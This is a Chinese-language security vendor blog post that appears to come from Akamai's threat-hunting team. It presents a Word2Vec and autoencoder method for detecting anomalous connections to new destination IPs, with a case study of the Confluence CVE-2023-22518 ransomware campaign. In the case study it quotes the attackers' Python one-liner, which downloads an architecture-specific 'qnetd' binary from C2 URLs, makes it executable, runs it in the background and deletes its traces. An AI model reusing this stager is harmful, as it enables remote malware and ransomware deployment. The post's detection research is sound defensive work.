前言
保护企业网络流量，对于抵御那些企图损害企业并造成无法弥补损失的攻击者至关重要。识别新的以及潜在的恶意目标 IP 在此防御体系中发挥着关键作用——您无法保护自己看不见的东西。
能够检测出与这些前所未见的目标 IP 的异常连接是一项强大的能力，可以为管理员提供有关潜在威胁的见解和警告。
我们之所以重点关注那些前所未见的目标 IP，是因为我们认识到，攻击者经常利用这些新的 IP 地址来绕过传统的安全措施，因此必须相应地优先完成检测工作。
在本博文中，我们将介绍一种机器学习方法，它能够检测从企业网络节点访问新的目标 IP 时出现的异常连接。我们使用连接的元数据来创建此方法。这种方法涉及采用 Word2Vec 算法来表示与目标 IP 相关的特征，并应用自编码器作为最终步骤。
我们在真实攻击活动中使用了此方法，并且它成功完成了检测。可疑的 IP 地址可能涉及各种恶意活动，例如命令和控制 (C2) 服务器、僵尸网络和网络钓鱼域名，因此快速检测可能成为某次攻击是引发告警还是演变为攻击事件的决定因素。
识别可疑的新目标 IP 充满挑战性
我们在尝试检测和抵御前所未见的新目标 IP 所带来的威胁时遇到了一些挑战。由于这些 IP 缺少先前的声誉记录或历史数据，因此传统的检测方法难以奏效。它们的新颖性导致难以将良性的首次通信与恶意通信区分开来，因为它们的通信模式与日常流量模式非常相似。
我们发现，对与目标 IP 关联的源进程、目标端口、自治系统编号 (ASN) 和地理位置等一系列信息进行分析能够成功解决这些挑战。通过进行此类分析，我们更深入地了解了网络流量的背景信息。此方法使我们能够显著增强识别并标记可疑的新目标 IP 的能力。
异常检测
我们的方法使用了机器学习技术，这些技术特别适合解决网络流量中异常检测所面临的独特挑战。我们收集与网络流量数据相关的各种元数据，其中包含了关于源进程、目标端口、ASN、地理位置等方面的关键信息。要进行全面的分析，多样化的数据集必不可少；而要确保输出的准确性，对数据进行分类是必要条件。
为了方便后续的分析工作，我们会根据源进程和目标端口各自的作用对它们进行分类和分组。例如，我们将不同的标准查询语言 (SQL) 服务器的标准端口（例如，MSSQL 1433 和 MySQL 3306）整合为一个类别：SQL 服务器。
将机器学习用于异常检测
我们应用 Word2Vec 算法，根据网络分析的上下文来捕获不同 IP 之间的语义相似性。Word2Vec 最初是为自然语言处理而开发的，它可以通过分析元素所出现的上下文来学习其向量表示。
在我们的方法中，我们会对网络元数据的序列进行建模并将其作为该算法的输入，从而使其能够学习到反映网络中的行为关系且富有意义的嵌入表示。这可以提高异常检测和模式识别的有效性。
通过将 IP 表示为高纬向量，我们使该算法能够识别出那些在网络流量中频繁共同出现的 IP 的模式。在向量空间中，紧密聚集在一起的 IP 具有较强的上下文关联性，而离群值或异常点会分布在较远的位置。此方法提供了有关网络流量结构和动态的宝贵见解。
在此方法的最后阶段，我们使用了自编码器，这是一种专为非监督式学习而设计的人工神经网络，旨在高效地对输入数据进行压缩和重构。借助自编码器，我们可以检测网络流量中的异常情况，而无需依赖加标签的训练数据。这使得我们的算法能够适应不断变化的威胁情形，并有效地检测出新型攻击模式。
嵌入特征被输送到自编码器中，使其能够学习和重构正常的网络流量模式（图 1）。具有较高重构误差的连接将被标记为潜在的恶意活动。
Fig. 1: Example of an autoencoder model and outputs
异常验证
此方法的核心原则是持续审查和学习。通过应用我们的算法，我们可以每天审查所有新的目标 IP 并且检查它们之间的每个连接以识别异常情况，从而发现潜在的恶意行为。
图 2 是某位客户的每日输出结果的真实示例。数据显示，一天中有 462 个新的目标 IP。
Fig. 2: Visualization of new IPs in a customer’s network in a single day
水平的红色线表示用于将连接标记为异常连接的阈值。任何重构误差值高于这条线的连接都被认为是可疑的。
蓝色点表示我们的系统判定为良性的那些 IP，因为它们的重构误差较低并且与网络行为的预期模式相符。
橙色点表示因其重构误差较高而被我们的分析系统标记为异常的单个 IP。
经过后续的调查与确认，该异常被证实是一次有组织的攻击活动的环节之一，这突显出我们的检测机制强大而又不可或缺的重要性。下一节内容将介绍攻击的细节。
我们的算法如何成功地检测出客户环境中的攻击
新的方法在理论上听起来头头是道，但它必须具备实用性才能体现出真正的价值。我们选择对先前检测到的攻击运行我们的算法，该攻击是利用了 CVE-2023-22518 漏洞并针对 Confluence 的已知攻击活动的一部分。此攻击导致了远程代码执行并部署了勒索软件。
在此案例中，攻击者通过初期的漏洞利用对服务器进行了未经授权的访问。他们通过 Python 建立了与命令和控制 (C2) 服务器的连接，并下载了名为 qnetd 的恶意文件（图 3）。
python3 -c import os,sys,time import platform as p if sys.version_info.major == 3: import urllib.request as u else: import urllib2 as u h = /tmp/lru d = ./qnetd ml = {3x:[i386,i686], 6x:[x86_64,amd64], 3a:[arm], 6a:[aarch64]} try: m = p.machine().lower() if os.popen(id -u).read().strip() == 0: try: os.chdir(/var) except: os.chdir(/tmp) else: os.chdir(/tmp) for l in open(h): for k,al in ml.items(): for a in al: if a == m: l = l+.+k r = u.urlopen(l) with open(d, wb) as f: f.write(r.read()) f.flush() r.close() os.system(chmod +x +d) os.system(chmod 755 +d) os.system(d + > /dev/null 2>&1 &) time.sleep(5) os.remove(d) os.remove(h) except: if os.path.exists(h): os.remove(h) if os.path.exists(d): os.remove(d) pass我们观察到有两台服务器与恶意 IP 地址进行通信，该 IP 地址属于大规模传播的 Atlassian Confluence CVE-2023-22518 攻击活动的一部分。异常通信来自 Python 和 qnetd 进程，因地理位置异常而被我们的检测方法所发现（图 4）。
Fig. 4: Discovery example
实现可疑网络连接的主动识别
检测与新目标 IP 的异常网络连接是企业网络安全机制中的一个关键环节。通过利用 Word2Vec 和自编码技术，我们的方法可以分析源进程、目标端口和地理位置等网络流量元数据，以识别可能会绕过传统检测方法的潜在安全威胁。
在一个真实的案例研究中，我们的方法成功地发现了正在利用 Confluence 漏洞 (CVE-2023-22518) 的复杂攻击，这证明了该方法在检测属于勒索软件部署活动的恶意 IP 方面的有效性。
该技术将使企业能够通过学习并标记偏离正常流量模式的行为来主动识别可疑的网络连接。
了解详情
如需详细了解我们的托管威胁搜寻服务，请访问我们的 Akamai Hunt 网页。
标签
